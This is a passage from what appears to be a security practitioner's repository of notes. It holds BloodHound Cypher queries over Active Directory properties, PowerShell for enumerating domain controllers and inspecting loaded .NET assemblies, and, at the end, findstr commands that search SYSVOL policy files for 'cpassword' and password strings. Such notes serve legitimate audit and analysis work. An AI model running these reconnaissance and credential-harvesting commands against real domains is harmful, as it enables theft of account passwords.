allfields; 64 | 65 | "objectsid" 66 | "lastlogontimestamp" 67 | "dontreqpreauth" 68 | "owned" 69 | "pwdlastset" 70 | "lastlogon" 71 | "enabled" 72 | "pwdneverexpires" 73 | "hasspn" 74 | "serviceprincipalnames" 75 | "sidhistory" 76 | "passwordnotreqd" 77 | "sensitive" 78 | "unconstraineddelegation" 79 | "domain" 80 | "admincount" 81 | "description" 82 | "objectid" 83 | "name" 84 | "highvalue" 85 | "distinguishedname" 86 | "displayname" 87 | "email" 88 | "title" 89 | "homedirectory" 90 | "userpassword" 91 | 92 | 93 | MATCH (u:Computer) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 94 | 95 | "objectid" 96 | "owned" 97 | "name" 98 | 99 | 100 | MATCH (u:Group) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 101 | 102 | "distinguishedname" 103 | "admincount" 104 | "description" 105 | "objectsid" 106 | "name" 107 | "objectid" 108 | "highvalue" 109 | "domain" 110 | 111 | 112 | MATCH (u:Domain) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 113 | 114 | "distinguishedname" 115 | "objectsid" 116 | "functionallevel" 117 | "domain" 118 | "name" 119 | "objectid" 120 | "highvalue" 121 | 122 | 123 | MATCH (u:Foreignsecurityprincipal) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 124 | 125 | "objectid" 126 | 127 | 128 | MATCH (u:OU) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 129 | 130 | "domain" 131 | "name" 132 | "guid" 133 | "blocksinheritance" 134 | "highvalue" 135 | "description" 136 | 137 | 138 | MATCH (u:GPO) WITH DISTINCT keys(u) AS keys UNWIND keys AS keyslisting WITH DISTINCT keyslisting AS allfields RETURN allfields; 139 | 140 | "domain" 141 | "guid" 142 | "gpcpath" 143 | "highvalue" 144 | "name" 145 | 146 | 147 | -------------------------------------------------------------------------------- /rando-snippets.txt: -------------------------------------------------------------------------------- 1 | # Get DCs 2 | $Domains = Get-ADForest |Select-Object -ExpandProperty Domains 3 | ForEach($Domain in $Domains) { 4 | Write-Host "[*] Enumerating $Domain" 5 | Get-ADDomain -Server $DOmain |Select-Object -ExpandProperty ReplicaDirectoryServers 6 | } 7 | 8 | # Get loaded assemblies and find the exact path of the one we need 9 | [AppDomain]::CurrentDomain.GetAssemblies() 10 | 11 | # Get loaded assemblies and their full names 12 | $assemblyNames = [AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object { $_.FullName } 13 | $assemblyNames | Sort-Object 14 | 15 | # Get loaded assemblies and their full names 16 | $assemblyNames = [AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object { $_.FullName } 17 | $assemblyNames | Sort-Object 18 | 19 | 3k1wjb45, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 20 | Accessibility, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 21 | Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 22 | CrowdStrike.Sensor.ScriptControl, Version=6.56.17010.0, Culture=neutral, PublicKeyToken=null 23 | DynamicClasses, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 24 | 25 | # Retrieve Basic Information about an assembly: 26 | $assemblyPaths = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -like '3k1wjb45*' } 27 | ForEach ($assembly in $assemblyPaths) { 28 | $properties = @{} 29 | 30 | foreach ($property in $assembly.GetType().GetProperties()) { 31 | try { 32 | $properties[$property.Name] = $property.GetValue($assembly) 33 | } catch { 34 | # Some properties might throw exceptions when accessed; handle or ignore them 35 | $properties[$property.Name] = "Error accessing value" 36 | } 37 | } 38 | 39 | Write-Output "[*] Dumping Properties:" 40 | [PSCustomObject]$properties 41 | Write-Output "[*] Dumping Properties.DefinedTypes:" 42 | [PSCustomObject]$properties.DefinedTypes 43 | Write-Output "[*] Dumping Properties.Evidence:" 44 | [PSCustomObject]$properties.Evidence 45 | Write-Output "[*] Dumping Properties.ExportedTypes:" 46 | [PSCustomObject]$properties.ExportedTypes 47 | Write-Output "[*] Dumping Properties.CustomAttributes:" 48 | [PSCustomObject]$properties.CustomAttributes 49 | } 50 | 51 | # This will give you the FullName, Location, CodeBase, and information if the assembly is in the Global Assembly Cache (GAC). 52 | # Check the Digital Signature: 53 | # If a library is genuinely from a reputable vendor, it might be digitally signed. You can verify this signature: 54 | 55 | $assemblyPaths = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -like '3k1wjb45*' } 56 | ForEach ($assembly in $assemblyPaths) { 57 | $properties = @{} 58 | 59 | foreach ($property in $assembly.GetType().GetProperties()) { 60 | try { 61 | $properties[$property.Name] = $property.GetValue($assembly) 62 | } catch { 63 | # Some properties might throw exceptions when accessed; handle or ignore them 64 | $properties[$property.Name] = "Error accessing value" 65 | } 66 | } 67 | 68 | # Assuming $properties.Evidence contains the Evidence object 69 | $evidence = $properties.Evidence 70 | 71 | # Convert the byte array to a hexadecimal string 72 | $md5Hash = ($evidence.MD5 | ForEach-Object { "{0:X2}" -f $_ }) -join '' 73 | $sha1Hash = ($evidence.SHA1 | ForEach-Object { "{0:X2}" -f $_ }) -join '' 74 | $sha256Hash = ($evidence.SHA256 | ForEach-Object { "{0:X2}" -f $_ }) -join '' 75 | 76 | Write-Host "MD5 Hash: $md5Hash" 77 | Write-Host "SHA1 Hash: $sha1Hash" 78 | Write-Host "SHA256 Hash: $sha256Hash" 79 | 80 | # Extract the Publisher certificate from the evidence collection 81 | $publisherEvidence = $evidence | Where-Object { $_ -is [System.Security.Policy.Publisher] } 82 | 83 | if (-not $publisherEvidence) { 84 | Write-Host "No publisher evidence found." -ForegroundColor Red 85 | return 86 | } 87 | 88 | # Get the certificate from the Publisher evidence 89 | $cert = $publisherEvidence.Certificate 90 | 91 | $certprops = @{} 92 | foreach ($certprop in $cert.GetType().GetProperties()) { 93 | try { 94 | $certprops[$certprop.Name] = $certprop.GetValue($cert) 95 | } catch { 96 | # Some properties might throw exceptions when accessed; handle or ignore them 97 | $certprops[$certprop.Name] = "Error accessing value" 98 | } 99 | } 100 | $certprops 101 | 102 | # Validation 103 | 104 | # Check the chain of trust 105 | $chain = New-Object System.Security.Cryptography.X509Certificates.X509Chain 106 | #$chain.Build($cert) # This builds the chain of trust for the certificate 107 | 108 | # Additional checks can be added, like checking against a CRL, etc. 109 | # Assuming $cert is your X509Certificate2 object 110 | 111 | # Setup the chain policy to check against online CRL 112 | $chain.ChainPolicy.RevocationMode = [System.Security.Cryptography.X509Certificates.X509RevocationMode]::Online 113 | $chain.ChainPolicy.RevocationFlag = [System.Security.Cryptography.X509Certificates.X509RevocationFlag]::ExcludeRoot 114 | $chain.ChainPolicy.UrlRetrievalTimeout = New-TimeSpan -Seconds 30 115 | $chain.ChainPolicy.VerificationFlags = [System.Security.Cryptography.X509Certificates.X509VerificationFlags]::NoFlag 116 | 117 | # Build the certificate chain to validate 118 | $isChainValid = $chain.Build($cert) 119 | 120 | # Check the chain status 121 | if (-not $isChainValid) { 122 | Write-Host "Chain is not valid. See below for details:" -ForegroundColor Red 123 | $chain.ChainStatus | ForEach-Object { 124 | Write-Host $_.Status -ForegroundColor Yellow 125 | Write-Host $_.StatusInformation -ForegroundColor Yellow 126 | } 127 | } 128 | else { 129 | Write-Host "Certificate is valid and has not been revoked." -ForegroundColor Green 130 | $chain.ChainElements | fl 131 | } 132 | } 133 | 134 | 135 | 136 | 137 | 138 | 139 | # Inspect Loaded Types: 140 | # You can inspect the types within the assembly to get an idea of its purpose: 141 | 142 | $assembly = [System.Reflection.Assembly]::LoadFrom("Path_To_Your_Assembly.dll") 143 | $assembly.GetTypes() | ForEach-Object { 144 | [PSCustomObject]@{ 145 | Name = $_.Name 146 | BaseType = $_.BaseType 147 | IsPublic = $_.IsPublic 148 | IsSealed = $_.IsSealed 149 | IsAbstract = $_.IsAbstract 150 | FullTypeName = $_.FullName 151 | } 152 | } | Format-Table -AutoSize 153 | 154 | # Replace Path_To_Your_Assembly.dll with the path to the suspicious assembly. 155 | # Inspect Assembly's Manifest: 156 | # The manifest contains metadata information about the assembly: 157 | 158 | $manifest = $assembly.ManifestModule 159 | $manifest 160 | 161 | # Check for any open file handles or network connections related to the assembly: 162 | # If you have Sysinternals Suite, you can use handle.exe and netstat to check if the assembly or any related process has open file handles or network connections. 163 | 164 | # Static and Dynamic Analysis: 165 | # For more in-depth analysis, consider using tools like ILDASM (Intermediate Language Disassembler) or DNSpy to look into the assembly's intermediate language code. For dynamic analysis, tools like Process Monitor or Wireshark can be helpful. 166 | 167 | # Grepping for passwords with findstr and Powershell 168 | PS C:\> foreach ($Domain in (Get-ADForest).Domains) { 169 | Write-Output "`n[*] Searching $Domain" 170 | $DC = (Get-ADDomainController -Server $Domain).HostName 171 | findstr /S cpass \\$DC\sysvol\$Domain\Policies\*.xml 172 | } 173 | 174 | PS C:\> 175 | foreach ($Domain in (Get-ADForest).Domains) { 176 | Write-Output "`n[*] Searching $Domain" 177 | $DC = (Get-ADDomainController -Server $Domain).HostName 178 | findstr /Si password \\$DC\sysvol\$Domain\Policies\* |findstr /v "\.adml:" 179 | } 180 | 181 | --------------------------------------------------------------------------------